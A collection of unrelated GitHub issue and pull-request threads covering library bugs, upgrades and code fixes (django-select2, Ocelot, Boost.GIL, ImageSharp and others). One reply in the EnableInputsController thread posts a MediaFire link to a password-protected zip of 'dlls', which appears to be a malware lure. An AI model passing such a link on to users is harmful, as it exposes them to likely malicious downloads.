[x] Updates babel to
[x] Build seems to work

@keybase/react-hackers

:+1:


[HELP] Upgrading to Rails 4.2 from 4.1.7

Rails 4.2 release notes state:

The migration DSL now supports adding and removing foreign keys. They are dumped to schema.rb as well. At this time, only the mysql, mysql2 and postgresql adapters support foreign keys.

My question is does this also apply to the mysql2_makara adapter or not?
Thank you.

generally, speaking makara delegates all method calls to the "real: one like mysql2.
So it should work as expected. Please reopen if you find otherwise.


Bug: Linting on Save and File Change not working

[x] I have verified that I am on the latest version of the Linter

Describe the Bug
I can't get linting to work on save or on file change. The only way I can get it to run is by calling the "Lint the current file" command.
How to Reproduce
Steps to reproduce the behavior:

In Linter settings, turn on "Lint on save", "Display message on lint", "Lint on File Change", and "Display Lint on File Change Message".
Open a note and write some text.
Press cmd+s to save.

No logs showing in Linter Logs.
Expected Behavior
A clear and concise description of what you expected to happen.
Expected output if applicable:
I would expect the linting message to appear and for it to run rules on the content of the note when I press cmd+s or change the file content.
Device

[x] Desktop
[ ] Mobile

Obsidian 1.4.14
MacOS 13.5.2

Hey @joshrouwhorst . Are you using a file that ends in the .md extension?

Hey @joshrouwhorst . Are you using a file that ends in the .md extension?

They are, but I just realized this was my bad. I had the ignore folder set one level too high and so some files were linting and some weren't.

Hey @joshrouwhorst . Are you using a file that ends in the .md extension?

They are, but I just realized this was my bad. I had the ignore folder set one level too high and so some files were linting and some weren't.

Gotcha. I am glad that got sorted out.


fix: bump download chunk size to 20 MB

I thought I had set the chunk size to 4 MB. It was actually 4 KB.
I'm bumping it up to 20 MB as smaller chunk sizes are leading to slow downloads and high CPU usage.

:tada: This PR is included in version 2.1.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


form.media.css / form.media.js do not return anything in templates

Environment is django 2.2.3 / python 3.7.4.
django_select2 is installed and added to INSTALLED_APPS
{{ form.media.css }} and {{ form.media.js }} are added to the head and body sections of the template per the instructions.
Observed Behaviour:
No select2 elements are rendered. Inspection of the page source reveals that these template tags do not resolve to anything- there's just blank space where they were inserted.
Expected Behaviour:
select2 elements rendered, template tags replaced with appropriate links to css and js.
Workaround:
Replace template tags with explicit calls to css and js files, e.g.:
<link rel="stylesheet"
  href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.7/css/select2.css"
  integrity="sha256-cxYyFTq8AlfZjXRMeAy8KPHpmNVSpUNhnxQwNfUT0Lo="
  crossorigin="anonymous" />

<script
  src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.7/js/select2.min.js"
  integrity="sha256-GHC3xFbrevQ0aRcWg5JElUOncXYXxTtMOuA74cWAPTw="
  crossorigin="anonymous">
</script>

<script
  src="{% static 'django_select2/django_select2.js' %}">
</script>

note the necessity to refer to both select2.js and django-select2.js
Related Issue:
The documentation makes no reference to having to run collectstatic in order to copy the django_select2.js file to staticfiles.

Hi @tunecrew thanks for reaching out. Let's see, I am sure we can find solution together.
My first guess, is, that you don't an object named form in your template's context.
Can you provide me with the code of your view, so I can further help to debug the problem?
Thanks!
Joe

Hi - you're absolutely correct - the form in the view in question has a different name - let me update and see if that resolves. Perhaps this is worthy of a documentation mention in setup?

Confirmed this is the issue and it is works as expected if the form is called form in the context.
A couple thoughts re. this:

the docs should mention this explicitly - it seems obvious once you figure out the problem, but it is not obvious per the instructions.

so my template setup (like many persons I suspect) has a common header and footer that is included by other pages, meaning that the {{ form... }} tags belong in these common header/footer templates. This then forces the use of a form named form on any page using django-select2, which may require refactoring or may not fit well into a page with formsets or some kind of dynamically generated forms. I don't have a solution offhand, but will think about it. But back to the docs - mentioning what is actually included (the css and js files) would be valuable as well, so persons can take this route.

@tunecrew you make some good points. We're always interested to improve our documentation. Since you just went through the trouble yourself to set up this package, it would be amazing if you could provide a pull-request improving our documentation.

This repo has moved, please address your issue at https://github.com/codingjoe/django-select2 Thanks!


Don't use the first token uname -n as the hostname

This change partially reverts the change made in #7910, which takes only the
first token of uname -n as the hostname.

LGTM, thanks for the quick fix @yujuhong!

/cc @timothysc, this should fix the breakage in your cluster. FYI, in #6499, we discussed whether it's sensible to use only the first token of the FQDN as a unique hostname, and most people were okay with it. Is it not true in your case?

ack.

@yujuhong What is the problem we are fixing here?
#7072 along with other prs from different cloud provider owners removed fqdn dependencies from a node name.

@dchen1107 @timothysc was running into issues with our latest change. We changed all uses of the hostname to be the first section, this may not be unique in all settings.

@dchen1107, if I understand correctly, @timothysc's cluster uses FQDNs (probably through uname -n?) as the hostnames of the node. The first sections of the these FQDNs are not unique, leading conflicts after #7910 was merged.

@yujuhong correct.

LGTM, are we waiting on something?

Merging to fix breakage, we can discuss more here or in an issue :)


Add styles to deal with directional icons in buttons with text

I'm submitting a...

[ ] Regression (a behavior that used to work and stopped working in a new release)
[ ] Bug report
[ ] Performance issue
[x] Feature request
[ ] Documentation issue or request
[ ] Other... Please describe:

Current behavior
Icons inside buttons with text is too close to the text. Padding needs to be added to add more space between text and icon.
Expected behavior
Left padding on icon.
Minimal reproduction of the problem with instructions

What is the motivation / use case for changing the behavior?

Environment

Daffodil version: X.Y.Z

For Tooling issues:
- Node version: XX
- Platform:

Others:

@xelaint this should be pretty trivial to add support for in daff-button right?

@damienwebdev yes, this is easy to implement.


I get the error : Message	"Method not found: 'FluentValidation.IRuleBuilderOptions2<!0,!1> FluentValidation.IRuleBuilder2.SetValidator(FluentValidation.IValidator`1<!1>)'."	string

I just got the latest version of Ocelot and I'm trying to use it.
I'm getting the error 👍
Message	"Method not found: 'FluentValidation.IRuleBuilderOptions2<!0,!1> FluentValidation.IRuleBuilder2.SetValidator(FluentValidation.IValidator`1<!1>)'.
What am I doing wrong?
Here's my ocelot.json file.
{
"ReRoutes": [
{
"DownstreamPathTemplate": "/{everything}",
"DownstreamScheme": "https",
"DownstreamHostAndPorts": [
{
"Host": "webapi.domain.com",
"Port": 8080
}
],
"UpstreamPathTemplate": "/api/{everything}",
"UpstreamHttpMethod": [ "Get" ],
"UpstreamHost": "localhost:9021"
}
],
"GlobalConfiguration": {
"BaseUrl": "localhost:9021"
}
}

This seems to be an issue with the newest versions of FluentValidation. I had this problem after updating my nuget packages. Downgrading FluentValidation to v7.6.105 should get you up and running while waiting for an updated version of Ocelot.

Thank you. That worked!

I agree with dimitridaras. This issue should stay open and Ocelot should be updated to work with the newer versions of FluentValidation.
Keeping it open also makes it easier to find for anyone else who run into this issue.

Agreed. I'm reopening it until this issue is resolved.

Any updates here? Ocelot v13 still has a reference to FluentValidation 7.6.


Update upgrade-22h2-to-23h2-powershell.md

Recommended updates.

@alkohli
Can you review the proposed changes?
Important: When the changes are ready for publication, adding a #sign-off comment is the best way to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

@Jak-MS Can we close this PR? I pulled the contents of this PR into a separate PR against azure-stack-docs-pr so I can fix the links, tweak the changes and get review from other folks. Here is the PR where I pulled in the changes: https://github.com/MicrosoftDocs/azure-stack-docs-pr/pull/15686/files. #please-close


Attempts to correct track api call

based on projects with other analytics.track api calls

With these changes, I can now see the followingform_started and form_finished with the correct fields in the segment schema interface


operator / for point2 is hard coded to operate on type double (Trac 11739)

https://svn.boost.org/trac10/ticket/11739 description:

When using boost::gil::point2, applying a division operation results in a point2.
This is undesirable.
The fix appears to be easy, change this code
template <typename T> BOOST_FORCEINLINE
point2<double> operator/(const point2<T>& p, double t)      { return t==0 ? point2<double>(0,0):point2<double>(p.x/t,p.y/t); }

to operate on T instead of double.
But, that seems overly simple so I am trying to figure out why this code was written this way in the first place.
A possibly safer alternative is to cast the result back to point2<T>, ie;
template <typename T> BOOST_FORCEINLINE
point2<double> operator/(const point2<T>& p, double t)      { return t==0 ? point2<T>(0,0):point2<T>(T(p.x/t),T(p.y/t)); }

This change makes the / operator act the same as the /= operator,
which is also hard coded to double, but because it's a member, doesn't yield a new type,
so it's probably fine (other than the fact that I asked for floats and am getting double operations).
While we're at it, I also find it weird that this code is protecting against division by zero,
but that's a different problem.

Let's discuss the proposed modification (/cc @chhenning & @stefanseefeld)

What is the possible range (set of valid types) of T ? I think I have written similar code in the past, where my assumption was that the divisor must be a wide floating point value for the operation to make sense, which would explain the second double argument. And then it would make sense to use simple type promotion to compute the return type, which may just be double, too, in this case.
(I'm just thinking aloud, trying to mentally reproduce why the code was written the way it is.)

@mloskot Is there not a better point class in boost? Wouldn't that be better than using gil::point2?

It's such a trivial class...
I'm not sure it would be worthwhile dragging in another dependency just for that. Besides, there are rather specific requirements for it (See http://boostorg.github.io/gil/html/design_guide.html#point) that I'm not sure any pre-existing class would meet without additional adapter code.
(And speaking of requirements: the /= signature using double actually comes from the concept itself.)

@stefanseefeld
How about replacing the current double-hardwired point<T>::operator/ with template function auto-promoting the base T of its point<T> result using std::common_type which I had no idea about until today :-)
template <typename T, typename U>
auto operator/(point<T> const& p, U t)
{
    using numeric_type = typename std::common_type<T, U>::type;
    return point<numeric_type>(p.x / t, p.y / t);
}

Test:
point<int> p1;
static_assert(std::is_same<decltype((p1 / short{}).x), int>::value, "!int");
static_assert(std::is_same<decltype((p1 / int{}).x), int>::value, "!int");
static_assert(std::is_same<decltype((p1 / float{}).x), float>::value, "!float");
static_assert(std::is_same<decltype((p1 / double{}).x), double>::value, "!double");

point<float> p2;
static_assert(std::is_same<decltype((p2 / int{}).x), float>::value, "!float");
static_assert(std::is_same<decltype((p2 / float{}).x), float>::value, "!float");
static_assert(std::is_same<decltype((p2 / double{}).x), double>::value, "!double");


[Core] Skip loading\processing of EXIF\metadata when opening file

Great library!
Also good that you are supporting EXIF data but....
I would like to completely skip the processing of EXIF (and any other non relevant metadata) and also not include it in the final output.
Because I am processing\downscaling\compressing images for use on a public facing website and nobody needs to see the EXIF data anyway.
This question was bound to show up :)

The EXIF won't be parsed until you try to get information from it. When the decoder reads the EXIF data it just reads a bunch of bytes and stores them in an array. The encoder will then just copy those bytes in the output image. I don't think this will have a noticeable effect on your performance.
@JimBobSquarePants Might be good to still have an option disable reading/writing metadata in the encoder/decoder though.

Yeah, we could do that as an overload I'm sure and pass the option through to the decoder.

@dlemstra our company makes a saas webshop and end users don't need to see EXIF data (if it exists in the first place). It also makes the file bigger if it's included, and with allot of users hitting the site it saves a ton of bandwidth (for all parties involved moving that data around).
p.s. hé kijk een nederlander :)

If optimization of file size is an issue then you might also want to take a look at a feature that exists in my library (https://magick.codeplex.com/). It will require an extra dependency but it works on .NET Core on Windows. If you need to have it work on an other platform you will need to wait a while.
My library has a class that can be used to compress the size of a JPEG/PNG/GIF without loss of quality. I have created a tiny example for the lossless compression here: https://magick.codeplex.com/wikipage?title=Lossless compression&referringTitle=Documentation

Unfortunately i have to run on linux and windows so that's not a option.
I am also not a fan of using native dll's for security reasons.

I think we will make this 'NoExif' option an extra option that you can pass to the SaveAsFormat() methods. And we will also need to add an option for when an image is Read. Maybe we could also add ReadAsJpeg @JimBobSquarePants ?

Maybe name it 'NoMetadata' (as its a more generic term), for when there will be supported for WebM\WebP and to skip loading of RIFF data

The quotes were added to try to clarify that my name was just a suggestion :smile: . I personally think IgnoreMetadata is a better name and yes it should be used by multiple coders.

@KLuuKer , there is workaround. Just set image ExifProfile to null.
Regards

This issue was moved to JimBobSquarePants/ImageSharp#11


Database config cleanup

This implements cleanup for database config to fix inconsistencies introduced by https://github.com/wiki-ai/wikilabels/pull/66

+1!  I haven't run it though, so not merging...


Add automargin

Axis class doesn't have automargin property.
https://plotly.com/javascript/setting-graph-size/

Fixed in dev build.


EnableInputsController example missing

https://sub-xaero.github.io/stimulus-library/docs/controllers/form/EnableInputsController#how-to-use

maybe this will help
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Password: changeme
I put the necessary dlls in the archive


Extract schedulerClock extension

Codecov Report

Merging #40 (963dce9) into main (085bcd2) will increase coverage by 13.45%.
The diff coverage is 75.90%.

:exclamation: Current head 963dce9 differs from pull request most recent head f7e440d. Consider uploading reports for the commit f7e440d to get more accurate results

@@             Coverage Diff             @@
##             main      #40       +/-   ##
===========================================
+ Coverage   18.70%   32.15%   +13.45%
===========================================
  Files          18       18
  Lines         647      650        +3
  Branches       91       90        -1
===========================================
+ Hits          121      209       +88
+ Misses        517      430       -87
- Partials        9       11        +2

Impacted Files
Coverage Δ

...lin/com/alexvanyo/composelife/ui/ComposeLifeApp.kt
0.00% <0.00%> (ø)

...lexvanyo/composelife/ui/InteractiveCellUniverse.kt
0.00% <0.00%> (ø)

...m/alexvanyo/composelife/ui/NonInteractableCells.kt
0.00% <0.00%> (ø)

...xvanyo/composelife/data/TemporalGameOfLifeState.kt
64.84% <77.27%> (+64.84%)
:arrow_up:

...lexvanyo/composelife/data/model/GameOfLifeState.kt
75.00% <85.71%> (+3.57%)
:arrow_up:

...vanyo/composelife/data/NaiveGameOfLifeAlgorithm.kt
95.65% <100.00%> (+0.41%)
:arrow_up:

.../com/alexvanyo/composelife/ui/InteractableCells.kt
59.67% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 04f026a...f7e440d. Read the comment docs.


Payment with Coupon not working

Hello,
since version 1.5.1 all payments with vouchers fail. The following error appears in the log:
Product for id not found.
Thank you for your help.

We are encountering the same issue. Following error is thrown in the log:
app.ERROR: An error occurred during processing the payment {"orderTransactionId":"6e21686f03cb48099ac23b307b8d4e71","exceptionMessage":"Could not create a Mollie payment url due to the following error: Product for id  not found."} []

I'm on it

solved in v1.5.2